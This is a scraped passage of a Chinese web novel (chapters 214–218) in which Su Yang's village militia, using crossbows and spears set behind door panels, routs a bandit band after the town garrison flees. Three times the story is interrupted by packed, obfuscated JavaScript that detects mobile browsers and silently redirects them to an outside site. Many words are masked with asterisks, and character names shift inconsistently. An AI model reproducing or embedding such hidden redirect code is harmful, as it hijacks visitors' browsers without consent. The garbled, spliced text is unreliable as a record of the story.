也不知道是谁喊了一嗓子,弓手们再也绷不住了,扭头就跑,恨不得爹娘多生两条腿。 他们身后,是二百多名乡勇。 这些乡勇,平时也就是种种地,打打架,哪见过这阵仗? 一看弓手都跑了,他们也吓得魂飞魄散,跟着就跑。 这下,可把后面的士兵们给坑惨了。 这些士兵,好歹也受过一些训练,手里拿的也是官府的制式兵器。 真要跟土匪硬碰硬,也不是没有一战之力。 可现在,乡勇们这一跑,直接把他们的阵型给冲乱了。 乡勇们可不管那么多,只顾着逃命。 他们只知道,往吕巡检的亲兵后面跑,才最安全。 士兵们毕竟不是正规军,没那么铁石心肠。 眼看着乡勇们像潮水一样涌过来,他们也不好拿刀砍,只能眼睁睁地看着自己的阵型被冲垮。 吕巡检远远地看着,气得差点没吐血。 **,这就败了? 老子的兵法还没用上呢! 更让他心疼的是,他的得力干将吕管事,为了阻止乡勇逃跑,竟然被挤倒在地! 混乱之中,吕管事挣扎着想爬起来,却被一只脚踩在了后背上。 “哎哟……”吕管事惨叫一声。 紧接着,又是一只脚,两只脚,三只脚…… 无数只脚从他身上踩了过去。 那些杀红了眼的乡勇,早就已经失去了理智。 别说是吕管事,吕巡检重重摔倒在地,他们也照踩不误! 至于吕管事的几个亲随,早就不知道跑到哪里去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240653|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这种时候,谁还顾得上别人? 保住自己的小命要紧! 苏阳一直在观察着战局,自然也看到了这惨烈的一幕。 他瞳孔猛地一缩。 吕管事……就这么没了? 一股寒意从他的脚底板直冲头顶。 不是他不想救,实在是无能为力。 两边相距足有上百米,就算他现在带着人冲过去,也来不及了。 更何况,他不能拿自己手下这些兄弟的命去冒险。 苏阳紧紧地咬着牙,额头上青筋暴起。 他心里清楚,这一仗,三溪镇怕是要败了。三溪镇的兵马,像被捅了窝的蚂蚁,乱成一团。 吕巡检平日里作威作福的亲兵,此刻全都成了软脚虾,阵型散得不成样子。一个个只顾着抱头鼠窜,哪还有心思管自家老爷的死活。 中军一散,两边村子的乡勇,更是吓破了胆。 败局已定,各村的村正带着自家队伍,撒腿就跑,那速度,比兔子还快三分。 “娘的,还好老子有先见之明!” 几个村正心里暗自庆幸: “早上逼着那帮泥腿子多啃了几个饼子,还顺了苏二的肉夹馍,不然这会儿哪跑得动!” 吕巡检能爬到今天的位置,也不是光靠一张嘴。 一看大势已去,他比谁都明白。 “撤!都给老子撤!” 吕巡检扯着公鸭嗓子喊了一句,在几个亲兵的护卫下,连滚带爬地上了战车,车头一转,第一个溜之大吉。 “当官的都跑了,还打个屁!” 其他人一看这架势,更没了战意。 “跑啊!谁慢谁是王八蛋!” 溃兵们心里只有一个念头:土匪再多,也砍不完所有人,只要比别人快,就能活命! 可两条腿再快,终究跑不过拼死冲锋的土匪。 “啊……” 不断有人被追上,惨叫着倒在地上。 先前的冲锋,让土匪们心里憋了一股邪火,这会儿逮着机会,还不往死里整? 刀枪剑戟,一股脑儿地往溃兵身上招呼,直杀得血肉模糊,惨叫连天。 战场上,哀嚎声不绝于耳,三溪镇的士气,算是彻底崩了。 “好汉饶命!好汉饶命啊!” 有些胆小的,干脆“扑通”一声跪倒在地,磕头如捣蒜。 可这帮杀红了眼的土匪,根本不吃这一套。 第二百一十四章 尤其是那些新来的,基本都是新手上路,心里头的野性被彻底激发出来,比洪水猛兽还可怕。 “饶**头!” 一个五大三粗的土匪,挥起**,直接把一个跪地求饶的家伙劈成了两半。 “不降也杀!投降的更要杀!” “杀!杀光他们!” 血腥味冲天,清水村的村正,因为跑得慢了些,被几个土匪追上,乱刀分尸。 这下,民兵们已经失去希望。 “没指望了……” “打也打不过,跑也跑不掉,连投降都不行,这是老天爷要灭咱们啊!” …… 青龙村这边,也是一片慌乱。 “早说了,这趟差事没好事!” “这可咋办?怕是都要死在这儿了!” “快跑吧!再不跑就没命了!” “往哪里跑?到处都是土匪……” 正当这群泥腿子不知所措的时候,苏阳的吼声突然响起: “都**别鬼叫了!听老子的!” “稳住阵脚,谁都不许乱动!慢慢往后退!” 苏阳这一嗓子,像是一道惊雷,把这群吓傻了的家伙给震醒了。 那些想要溜走的,硬生生停下了脚步。 这群人还蒙在鼓里,自己刚从鬼门关前走了一遭。 苏阳的目光,一直死死地锁定着他们,抬起手中的强弓。 谁敢不听号令,第一个逃跑,苏阳真会下**! 幸亏这几天的操练没白费。 乡勇们虽然吓得腿肚子发软,但还是勉强稳住了阵型,在苏阳手下几个小子的带领下,缓缓向后退去。 …… “救吕管事?开什么玩笑!” 苏阳心中冷笑。 “那老张八蛋逼着老子买眼煞豹的凶宅,这笔账还没算呢!” “更别说他勾结土匪,不知道害了多少人家破人亡。” “这种人,死一万次都不够!” 当然,最要紧的是,现在这情况,别说救人,自己能不能活下来都是个未知数。 现在最重要的,是怎么把青龙村这帮人平安带回去。 …… 青虎岭麻当家萧煞,骑着一匹不知道从哪里搞来的战马,那叫一个春风得意。 “哈哈哈,真**痛快!” 先前探子来报,说三溪镇派兵来攻山,可把萧煞吓了一跳,差点没直接带人跑路。 可一看到二当家那张阴阳怪气的脸,萧煞就火冒三丈。 “**,老子偏不让你得逞!” 萧煞和二当家面和心不和,也不是一天两天了,要是这回被吓跑了,以后还怎么在道上混? 宁可战死,也不能让二当家那王八蛋看扁了! 所以,萧煞一发狠,率领着一群山贼,从青虎岭上冲了下来,准备和三溪镇的乡勇决一死战。 当然,他也不是没脑子,早就想好了退路。 万一真打不过,就带着青虎岭的兄弟们跑路,把二当家留在山上喂狼! “哼,老二啊老二,这回你可要倒霉了!” 可让萧煞做梦都没想到的是,三溪镇的官兵就是一群软蛋,还没等手下的老兄弟们动手,光靠一帮新来的,就把他们打得屁滚尿流! “早知道这帮家伙这么不抗揍,老子还窝在青虎岭上干啥?早就该下山发财了!” “兄弟们,给我杀!” 萧煞挥舞着手里的大刀,声嘶力竭地吼道: “杀光这帮**的!” “抢他们的粮!抢他们的钱!抢他们的女人……” 话没说完,萧煞突然一愣。 他指着远处还算齐整的青龙村乡勇,问旁边的心腹小虎: “哎,小虎,那帮家伙啥情况?咋还不跑?” 小虎贼眉鼠眼地瞅了瞅,嘿嘿一笑: “麻当家的,我还以为是啥厉害角色呢,原来是群乡巴佬,估计是被吓傻了,腿都软了吧!” “哈哈,你小子真会说话!” 萧煞听了这话,心里那叫一个舒坦,大手一挥,换了种说法: “去,带几个兄弟,把这帮家伙给我料理了!” “顺便告诉三溪镇那帮孙子,这地界儿到底谁说了算!” “得嘞!” 小虎应了一声,扭头招呼了几个老匪。 可一看人数不够,他又把主意打到了新入伙的土匪身上。 小虎眼珠子一转,扯着嗓子喊了起来: “新来的兄弟们,想不想立功?” “麻当家说了,谁要是能把那帮家伙给收拾了,重重有赏!” “想吃肉喝酒的,都给老子过来!” 他这一嗓子,还真管用,立马就有二十多个新入伙的土匪围了上来。 “六哥,我们跟你干!” “不就是一群乡巴佬吗?看咱们怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240654|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么收拾他们!” “……” 这帮人一个个摩拳擦掌,跃跃欲试。 小虎一看人够了,大手一挥: “走!跟我冲!” 三十多号人,嗷嗷叫着朝苏阳他们扑了过去。 …… 苏阳骑在马上,一面让小弟撤退,一边观察着战场上的动静。 小虎那帮人刚有动作,苏阳就察觉到了。 “都给老子站住!” 苏阳突然一声大喝,声音不大,却清晰地传到了每个人的耳朵里。 乡勇们一愣,下意识地停下了脚步,动作整齐划一。 苏阳面沉似水,有条不紊地下达着命令: “张旭东,**手出列,枪尖朝外!” “赵明志,**手准备,靠近了再射,别**浪费**箭!” “其他人,把门板给老子竖起来,挡住他们的弓箭!” 苏阳的沉着冷静,给了乡勇们极大的信心。 大家你看看我,我看看你,都觉得心里踏实了不少。 “咱们有阳哥儿在,怕个鸟!” “就是,看看阳哥儿手下那帮小子,一个个都跟打了鸡血似的,根本就没把土匪当回事!” 其实,苏阳手下那些小子,心里也紧张,毕竟是上过战场见过血的,他们更知道青虎岭这帮土匪不好对付。 只不过,他们跟着苏阳的时间长,更信任苏阳,也更清楚,越是这种时候,越不能慌。 “这些年,死在吕巡检和青虎岭土匪手里的乡亲还少吗?” “跟他们拼了!”青虎岭的土匪裹挟着尘土,如同一群被激怒的野兽,咆哮着冲了过来。 苏阳催马立于阵前,巍然不动。 他左手紧握缰绳,右手高举着早已上好弦的蹬张**,目光如鹰隼般锐利,死死锁定了土匪队伍后方的两个身影。 那是对方的弓手。 这两个家伙,从刚才袭击吕巡检的队伍时就鬼鬼祟祟。 这会儿,依旧缩在人群后面,显然是想瞅准机会放冷箭。 “哼,打得一手如意算盘。” 苏阳心中冷笑。 想玩“擒贼先擒王,射人先射马”? 你们以为,小爷我会怕你们? 突然,其中一个弓手停下了脚步,缓缓抬起手中的长弓。 他眯起一只眼,屏住呼吸,将弓弦拉至满月,箭尖直指马上的苏阳! 第二百一十五章 很显然,这家伙是想先拿苏阳这个最显眼的目标开刀! 电光火石之间,苏阳甚至能感觉到对方眼中流露出的那一丝得意,和一丝残忍。 可惜,他严重低估了苏阳的反应速度。 “嘣!” 几乎在对方完成瞄准的同一瞬间,苏阳果断扣动了**机。 四五十米的距离,无论弓箭还是**箭,全都处在致命打击范围中。 然而,**箭的发射速度远超弓箭。 更何况,苏阳早已做好了万全准备,对这帮土匪的伎俩洞若观火。 对面的弓手甚至还没来得及完全松开紧绷的弓弦,便感觉胸口传来一阵剧痛,如同被一头狂奔的野牛狠狠撞上! 他难以置信地低头,只见一支精钢**箭,已深深地扎进了自己的胸膛,箭羽还在微微颤动! 蹬张**的威力,远超他的想象,甚至穿透了他贴身穿着的皮甲。 他甚至连一声惨叫都没能发出,便双膝一软,一头栽倒在地,身体抽搐了几下,便没了动静。 鲜血,迅速染红了他身下的土地。 “**,老四!” 另一名弓手亲眼目睹同伴被瞬间射杀,吓得魂飞魄散,手里的弓箭差点掉在地上。 他再也顾不得瞄准,慌忙躲到一个身材高大的土匪身后,试图用同伴的身体来遮挡苏阳的视线。 “想跑?门都没有!” 苏阳冷哼一声,迅速从马鞍旁的箭囊中抽出一支**箭,换上了另一张轻便的腕张**。 他微微眯起眼睛,准星牢牢锁定了那个充当“挡箭牌”的土匪。 那土匪也是倒霉催的,还不知道自己已经成了苏阳的猎物。 他只顾着往前跑,身体左右摇摆,很快就将躲在身后的弓手暴露了出来。 “嘣!” 苏阳果断扣动**。 **箭如同长了眼睛一般,精准地命中了弓手的侧肋。 “啊!” 弓手惨叫一声,身体像被抽空了力气一般,瘫软在地,手中的弓箭也滚落到了一旁。 他捂着伤口,在地上痛苦地翻滚着,鲜血染红了身下的泥土。 伤口处传来的剧痛,让他几乎昏厥。 “呼……” 苏阳轻轻吐出一口气,紧绷的神经终于稍稍放松了一些。 这两个弓手,是对自己威胁最大的存在,如今总算是除掉了。 他一边熟练地给腕张**重新上弦,一边在心里暗自庆幸。 多亏了自己一直骑在马上,居高临下,视野开阔,才能及时发现并解决掉这两个隐患。 否则,一旦被对方的冷箭射中,后果不堪设想。 苏阳连杀两名弓手,这一幕,极大地鼓舞了青龙村乡勇们的士气。 “阳哥儿威武!” “阳哥儿射得好!” “**这帮**的土匪!” 乡勇们兴奋地叫喊着,挥舞着手中的武器,原本的紧张和恐惧,似乎也消散了不少。 取而代之的,是一种嗜血的兴奋。 这时,两伙人之间的间隔已缩短至二十米之内。 “放箭!” 毕明志猛地挥下手臂,声嘶力竭地吼道。 “嘣!嘣!嘣!嘣!” 一阵密集的弦响,划破了战场的喧嚣。 十来支**箭,带着尖锐的呼啸声,飞向了对面的土匪人群。 为了提升远距离输出,苏阳这次带来的可不仅仅是**。 连缴获的弓箭也被他一并带上了,一股脑儿地塞给了手下的乡勇们。 只可惜,这帮家伙平时都忙着种地,哪有时间练习射箭? 他们能把弓拉开,把箭射出去,就已经很不错了。 至于准头嘛…… “管他呢,能射出去就行!” 毕明志在心里嘀咕着。 反正是乱箭齐发,总有几支能瞎猫碰上死耗子。 果然,一阵惨叫声传来,六七个土匪应声倒地! 虽然战果比不上苏阳那两箭,但也足以让乡勇们士气大振了。 “好!兄弟们,加把劲!” 毕明志兴奋地大喊。 他没想到,这乱箭齐射的效果竟然还不错。 不过,眼下可不是高兴的时候。 二十米的距离,对于这些亡命奔逃的土匪来说,不过是眨眼间的事。 他们根本来不及进行第二次装填。 毕明志当机立断,带着手下迅速后撤,开始手忙脚乱地给**机重新上弦。 与此同时,山贼已经杀到乡勇面前。 面对着一排排横七竖八、高低不平的门板,这些土匪们顿时傻了眼。 “这是啥玩意儿?” “**,这帮泥腿子在搞什么飞机?” “这么多破门板,挡着路了!” 土匪们骂骂咧咧,挥舞着手中的刀枪,试图劈开或者踹倒这些碍事的门板。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253888|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而,就在他们靠近门板,准备动手的那一刹那—— “杀!” 一声暴喝,如同平地惊雷。 紧接着,一杆杆锋利的**,突然从门板之间的缝隙中刺了出来! 这些**,有的是用削尖的竹子制成的,有的则是真正的铁枪头。 在阳光的照射下,闪烁着冰冷的寒光。 “扑哧!” “扑哧!” “扑哧!” …… **入肉的声音,接连不断地响起,令人毛骨悚然。 猝不及防之下,冲在最前面的七八个土匪瞬间被刺倒在地。 他们甚至连惨叫声都没来得及发出,便一头栽倒在地,身体抽搐了几下,就再也不动了。 鲜血,从他们的伤口中喷涌而出,染红了身下的土地,也染红了那些简陋的门板。 “啊……” “**,有埋伏!” “这……这是什么鬼东西?” 后面的土匪被这突如其来的一幕吓得魂飞魄散,纷纷停下了脚步,脸上露出了惊恐的神色。 他们做梦也没想到,这帮看起来老实巴交的乡勇,竟然会摆出如此诡异的阵势。 这些**,简直比毒蛇还要阴险,还要致命! 不等他们彻底回过神来,原本刺出的**又迅速收了回去。 紧接着,又是一轮更加猛烈、更加密集的突刺! “扑哧!” “扑哧!” “扑哧!” …… 又是五六个土匪被刺了个透心凉,倒在了血泊之中。 他们的身体,如同被串起来的糖葫芦一般,被**牢牢地钉在了地上。 “妈呀!” “点子扎手,快跑啊!” “这帮家伙不是人,是魔鬼!” “救命啊!” 剩下的土匪彻底崩溃了。 他们尖叫着,哭喊着,转身就跑,恨不得投胎时多长两条腿。 什么“人为财死,鸟为食亡”,什么“脑袋掉了碗大个疤”…… 在这一刻,统统都被他们抛到了九霄苏外。 带队的小虎也傻眼了。 他做梦也没想到,自己带着几十号兄弟,竟然连对方的**都没碰到,就损失了这么多人手! 他引以为傲的“兄弟”,在这些**面前,简直就像是待宰的羔羊一般,毫无还手之力。 “这…… 第二百一十六章 这帮家伙到底是从哪儿冒出来的?” “他们……他们怎么会这么厉害?” 小虎一边在心里咒骂着,一边拼命地往回跑。 他现在只想逃离这个鬼地方,逃得越远越好。 “点子扎手,兄弟们,扯呼……” 他扯着嘶哑的嗓子,声嘶力竭地喊道,试图召回那些还在发愣的手下。 然而,他的话还没喊完,便戛然而止。 “嘣!” 一声弓弦的震响,如同死神的催命符。 小虎只觉得后背一凉,紧接着,一股剧痛瞬间传遍了全身。 他下意识地伸手去摸,却摸到了一手的粘稠和湿热。 他知道,自己中箭了。 而且,这还不是普通的箭,这是苏阳射出的劲**! 完了…… 这是小虎脑海中闪过的最后一个念头。 他甚至连惨叫声都没来得及发出,便感觉眼前一黑,身体重重地摔倒在地。 他努力地想要挣扎着站起来,却发现自己的身体已经完全不听使唤。 他只能眼睁睁地看着自己的鲜血,从后背的伤口中不断涌出,染红了身下的土地。 小虎的死,对于剩下的土匪来说,无疑是压垮骆驼的最后一根稻草。 “六哥**!” “快跑啊!” “这帮家伙太狠了,咱们不是对手!” “再不跑就来不及了!” 土匪们彻底丧失了斗志,一个个吓得魂飞魄散,争先恐后地往回逃窜。 他们互相推搡着,拥挤着,甚至不惜踩踏同伴的尸体,只为了能够逃得更快一些。 可惜,敌我双方贴得实在太近。 还不等他们跑出几步,毕明志带领的乡勇们已经完成了**机的重新装填。 “瞄准……放!” 毕明志再次下达了射击的命令,声音中带着一丝颤抖,也带着一丝兴奋。 “嘣!嘣!嘣!” 十来支**箭再次呼啸而出,无情地收割着土匪们的性命。 正在玩命奔逃的土匪们,如同被割倒的麦子一般,纷纷倒在了血泊之中。 又有五六个土匪被射翻在地。 甚至,其中还有一个是青虎岭的老匪,也挨了一**! 短短的几分钟,仿佛一个世纪那么漫长。 从小虎带着土匪发起冲锋,到土匪们彻底崩溃四散奔逃,整个过程,这波操作连120秒都没到! 而在这短短的两分钟之内,苏阳带领的青龙村百余名乡勇,居然一波带走了三十多个山贼! 这一幕,深深地震撼了在场的所有人。 不管是青虎岭的土匪,依旧是三溪镇的民兵和乡勇,都被这突如其来的战果惊呆了。 这场面简直让人怀疑人生。 尤其是三溪镇的那些乡勇和土兵,更是觉得不可思议。 “这……这还是青龙村的那帮泥腿子吗?” “他们……他们手里的那些藤矛,真的能**?” “我是不是在做梦?这……这怎么可能?” 许多原本还在四处乱窜、如同无头苍蝇一般的乡勇,看到这一幕,都下意识地朝着苏阳这边跑了过来。 在他们看来,苏阳这边,简直就像是一个安全的避风港。 而那些跟着吕巡检一起逃跑的人…… 只能说,他们的运气实在是不太好。 毕竟,山贼的主要人马都在追杀吕巡检。 往那边跑,岂不是自寻死路?“石头,拦住他们!” 苏阳余光扫到溃兵涌来,心头一凛,立刻朝陈木生吼道。 他可不想自己这刚立起来的阵型,被这帮怂包给冲垮了。 陈木生也是从**堆里爬出来的,二话不说,带着手下扭头就迎了上去。 吕巡检的亲兵是咋完犊子的,他可就在旁边瞅着呢,哪能再让这事儿发生一遍? “唰!” 两排藤矛,跟炸了**的刺猬似的,瞬间就支棱了起来,把那些溃兵吓了一跳。 “都**绕道滚!谁敢往前挤,老子弄死他!” 陈木生瞪着眼珠子,唾沫阳子喷出去老远。 那些乡勇早吓得魂都没了,还哪有胆子往前冲,一个个脚底下抹油,绕着青龙村的队伍就溜了。 能保住小命就不错了,谁还敢找不自在? 十几个土匪嗷嗷叫着追了上来,眼睛都红了,见人就砍,见人就杀! 石头带的这些新兵蛋子,说白了就是一群刚放下锄头的庄稼汉,哪见过这阵仗。 要不是之前苏阳露的那一手,给了他们点儿胆气,这帮家伙早就尿裤子跑路了。 现在一个个也是吓得够呛,腿肚子一个劲儿地哆嗦,手心里的汗把竹竿都泡湿了。 “都**别怂!稳住!” 陈木生扯着脖子 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眼瞅着十几个弟兄就要冲到跟前,结果被一排竹子给捅翻了,萧煞气得差点儿没背过气去。 “**,这帮泥腿子是属刺猬的?” 萧煞破口大骂。 可骂归骂,他心里也明白,这事儿还真不能怪手底下的兄弟。 谁能想到,这帮泥腿子会用竹子当武器呢? 这玩意,看着不起眼,可真扎上了,那也是要命的啊! 更让他肝儿颤的是,对方捅完一轮还不算完,抽出来,又来一轮! 这下,剩下的那几个土匪也步了同伴的后尘,全被捅翻在地,一个活口都没留! 战场上,一下子就安静了下来。 连追吕巡检的那些土匪,都停下了脚步,一个个大眼瞪小眼,不知道咋办了。 这仗打的,也太**邪门了! “全体都有,向右看齐!” 苏阳的声音,突然在战场上响起,震得人耳朵嗡嗡的。 “唰!” 青龙村的乡勇们,整齐划一地放下了手里的家伙事儿,跟上了发条的木偶似的,火速列好阵型。 那动作,整齐得就跟一个人似的。 第二百一十七章 “向前看!齐步——走!” 苏阳本来是想低调点儿的,可现在这情况,他想低调也不行了。 没办法,谁让他现在是全场最靓的仔呢。 他仔细瞅了瞅战场上的局势,心里头跟明镜似的。 土匪虽然人多,但现在都散开了,正是各个击破的好机会。 要是等他们聚到了一起,再想打,那可就费劲了。 所以,苏阳决定主动出击,趁你病,要你命! 那些跟着吕巡检跑路的乡勇,本来都快吓尿了,这会儿一看苏阳带着人往前走,也赶紧跟了上去。 没办法,这年头,谁也不傻。 青龙村的人都溜了,他们还留在这里干啥? 等着土匪来收人头吗? 萧煞眼珠子都快瞪出来了。 这帮泥腿子,竟然还敢主动进攻? 他们是真不怕死,还是咋的? 他手底下的土匪,大部分都出去追人了,如今就剩这帮老兄弟在身边,人手根本就不够。 可萧煞不能退! 他要是退了,这仗就彻底没法打了。 不但之前的大好局面会泡汤,搞不好还会被对方给反推了! “兄弟们,都别慌!” 萧煞咬着牙,给手下打气。 “等会儿他们靠近了,咱们就用弓箭射死他们!” 他身边的这些老匪,有一半都带着弓箭。 听到萧煞的命令,一个个都把弓给抽了出来,搭上箭,准备给苏阳他们来个“迎头痛击”。 苏阳也不是傻子,哪能就这么直愣愣地冲上去。 一看对方要放箭,他立刻就下令停止前进。 “盾牌上前,**准备!” 苏阳的声音,沉稳而冷静。 两边的距离,也就一百来米。 土匪手里那些破弓,压根儿打不到那个距离。 他们用的,大多都是五斗弓,好一点儿的,也不过是八斗弓,射程有限得很。 可苏阳这边的**就不一样了。 特别是那群玩**箭的,都是两石的硬家伙,射出去的箭,又快又狠,力道十足。 排好队形,苏阳就让**手自由发挥,找准机会就射。 这距离,准头确实不咋地。 但苏阳这边人多啊,多射几轮,总能蒙上几个。 “嗖!嗖!嗖!嗖!” 一阵箭矢破空的声音响起,第一轮齐射,就放倒了两个土匪。 可惜,有个家伙压根不会玩弓,是个拿刀的。 “都**别急着一起射!留点儿人警戒!” 苏阳扯着嗓子吼道。 他可不想因为**手的一轮齐射,导致远程火力出现真空,被土匪给冲了进来。 毕明志也急了,指着那些**手就骂: “平时咋教你们的?都忘了?脑子里装的都是屎吗?” “赶紧给老子上弦!先来一波试试水,剩下的一半,等前面的人射完了再射!听明白了没有?!” 萧煞眼瞅着自己的两个手下中箭倒地,心疼得直抽抽。 这帮泥腿子手里的**,也太**厉害了! 这么远的距离,竟然还能射中人? 这还咋打? 自己够不着人家,人家却能打到自己,这不是明摆着吃亏吗? 万一自己这个老麻挨上一箭,那可就彻底玩完了!“嗖!嗖!嗖!” **箭破空,呼啸而来,带着死亡的气息。 噗!噗! 两名土匪躲闪不及,闷哼一声,颓然倒地,一个捂着大腿,一个捂着肩膀,疼得龇牙咧嘴。 一支**箭直取萧煞面门。 他瞳孔骤缩,手中鬼头刀翻飞,在千钧一发之际将箭矢磕飞。 “当!” 火星四溅,刀身震颤。 萧煞只觉虎口发麻,头皮发炸。 他毫不怀疑,若不是自己反应够快,此刻怕是已经成了一具尸体。 几个拿着弓箭的土匪彻底乱了阵脚,慌忙放箭。 然而,毫无准头。 只有一支箭“哆”地一声钉在了远处的门板上,剩下的全都软绵绵地落在了地上。 滑稽的场面,像是一记记耳光,狠狠抽在他们的脸上。 嘣!嘣!嘣! **箭毫不停歇,无情收割。 又一名土匪弓手被射翻在地,挣扎了几下,没了动静。 萧煞眼角抽搐,心中的怒火再也无法遏制。 他猛一回头,双目赤红,死死盯着远处看热闹的一群手下,声音沙哑得像野兽嘶吼: “都**杵在那儿当桩子吗?给老子上!剁了那帮龟孙儿!” 在距离萧煞二三十米开外,站着三四十个土匪,一个个畏畏缩缩,交头接耳。 他们原本是听到萧煞的号令,前来集合的。 可一到地方,就目睹了自家麻当家被当成活靶子戏耍的场面。 这还往前凑个屁啊!< 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“这黑了心的王八蛋!就知道让咱们去送死!” “兄弟们,跟这帮怂货拼了!” “替死去的兄弟报仇!” 几个机灵的土匪扯着嗓子嚎叫,转身就跑。 但,他们跑的方向,不是苏阳,而是…… 另一伙正看热闹的乡勇! 领头的,正是临溪村的村正王麻山。 这老家伙,一开始就没打算跟吕巡检那帮人一起逃。 他带着自己村的乡勇,偷偷摸摸地绕到了战场侧面,打着自己的小算盘。 王麻山琢磨着: 土匪人少,应该不会注意到他们这些散兵游勇。 可他万万没想到,苏阳竟然这么能打,不仅顶住了土匪的攻势,还干掉了不少土匪。 眼瞅着风向不对,王麻山立刻带着乡勇往苏阳那边靠。 不过,这老狐狸狡猾得很。 他没直接过去跟苏阳汇合,而是远远地跟着。 他心里门儿清: 土匪吃了这么大的亏,肯定不会就这么算了。 现在跟苏阳走得太近,万一土匪杀个回马枪,自己岂不是要跟着遭殃? 可谁能想到,这帮土匪竟然如此欺软怕硬! 第二百一十八章 他们不去招惹苏阳,反而盯上了自己这帮人! “**!这帮**土匪,真是瞎了眼!” 王麻山气得跳脚大骂,悔得肠子都青了。 早知道苏阳这么厉害,自己还躲个屁啊! 直接站他身后,谁敢动自己一根毫毛? 可惜,覆水难收。 王麻山哪敢跟土匪硬碰硬? 他怪叫一声,领着手下的乡勇掉头就跑。 好在王麻山还有点小聪明。 他没敢跑远,而是绕了个大圈,打算从苏阳背后溜走。 那些追赶的土匪,看似咋咋呼呼,早已经收敛了锋芒,随时准备开溜。 就在这时,萧煞又中了一箭,肩膀上血花飞溅。 他身边的一个弓手,也惨叫一声,栽倒在地。 让萧煞更加恼火的是,那些原本被压制的泥腿子,居然又开始缓缓推进了! 苏阳神色冷峻,指挥着手下的乡勇保持阵型。 **手交替射击,稳扎稳打,步步紧逼。 萧煞心中警铃大作。 他明白,这些泥腿子手里的**箭,威力非同一般。 在百米开外,就能给自己的人造成如此大的伤亡。 若再让这帮人近身,自己这些人,岂不是要被射成筛子? “小的们!” 萧煞声嘶力竭地大吼,试图稳住局面: “别跟这帮泥腿子硬碰硬!他们人多,咱们先避其锋芒,去把那些官兵收拾了!” 他一边喊,一边拨转马头,缓缓后退。 不是逃跑! 是战略性转移! 他身后的几个老匪,赶忙跟上。 看到麻当家竟然做出了这样的“战略部署”,许多土匪都傻眼了。 他们你看看我,我看看你,一脸的难以置信。 萧煞是谁? 那可是江湖上响当当的索命鬼啊! 传闻中,连熊孩子都怕他三分,最爱拿人命当下酒菜! 在齐鲁地面上,谁见了萧煞不得竖起大拇指,称赞一声“英雄好汉”? 这样一位顶天立地的人物,竟然被一群泥腿子吓得要“避其锋芒”? 这……这简直是滑天下之大稽! 特别是那群刚入伙的悍匪,一个个面面相觑,心里都打起了退堂鼓。 他们来投奔萧煞,是想跟着他吃香的喝辣的,可不想跟着他一起送死。 既然连麻当家都“避其锋芒”了,你们还在这发什么呆? “溜了!溜了!” 不知是谁喊了一嗓子,顿时群情激奋。 土匪们撒丫子就跑,争先恐后地朝青虎岭方向逃窜。 他们又不是什么正规军,逃跑这种事,对他们来说简直就是家常便饭,毫无心理负担。 更何况,连**不眨眼的萧煞都“避其锋芒”了,他们这些小喽啰还逞什么能? “快跑啊!” “别让官兵追上来!” “麻当家,您老人家顶住啊!” 土匪们鬼哭狼嚎,乱成一锅粥。 那些原本还追着王麻山等人的土匪,也纷纷调转方向,加入了逃跑的行列。 他们心里跟明镜似的: 现在不跑,待会儿可就真跑不掉了! 苏阳也没想到,土匪的士气竟然会崩溃得如此之快。 他摸了摸下巴,一脸疑惑: “这些土匪……就这点出息?早知道他们这么不经打,吕巡检还跑个啥?” 萧煞同样没想到,自己只是想换个地方打,怎么就变成了全线溃逃? 他气得七窍生烟,破口大骂: “都**给老子站住!谁再敢跑,老子剁了他!” 可惜,他的声音很快就被淹没在了嘈杂的声浪之中。 土匪们压根就听不见。 就算听见了,也假装没听见。 虽然大部分土匪都没读过什么书,但他们心里都清楚得很: 这种时候,谁跑得快,谁就能活命! 只要比别人跑得快,就能把危险甩给别人! 要是能跑到麻当家前面去,那就更好了。 背后有大佬罩着,便高枕无忧了! 于是乎,几乎所有的土匪都使出了吃奶的力气,朝青虎岭方向狂奔,把萧煞一个人孤零零地留在了后面。 “麻当家,您老人家武功盖世,就辛苦您老人家殿后了!” “麻当家,您老人家多保重啊!” “麻当家……” 也不知是谁带的头,土匪们纷纷向萧煞表达“敬意”。 不知情的,还真以为他们有多么敬重这位麻当家呢。兵败如山倒。 更别提这帮乌合之众的土匪。 四散奔逃的混乱中,一个粗犷的身影格外扎眼——煞星童铮。 他咬着牙,粗大的手指关节捏得发白。 眼瞅着手下一个个撒丫子跑路,纵有三头六臂也回天乏术。 萧煞心里跟明镜似的,自己武功再高,也架不住苏阳那帮人手里的家伙什。 真要头铁硬冲,非得 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有人则是为了抢夺那些沾血的财物。 不过,大伙儿都很有默契地绕开了青龙村人杀死的土匪。 萧煞骑着马,一路狂奔。 他那匹马,可是青虎岭最好的。 